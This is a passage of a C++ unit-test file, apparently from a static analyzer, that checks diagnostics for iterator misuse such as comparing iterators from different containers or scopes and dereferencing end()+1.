}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n 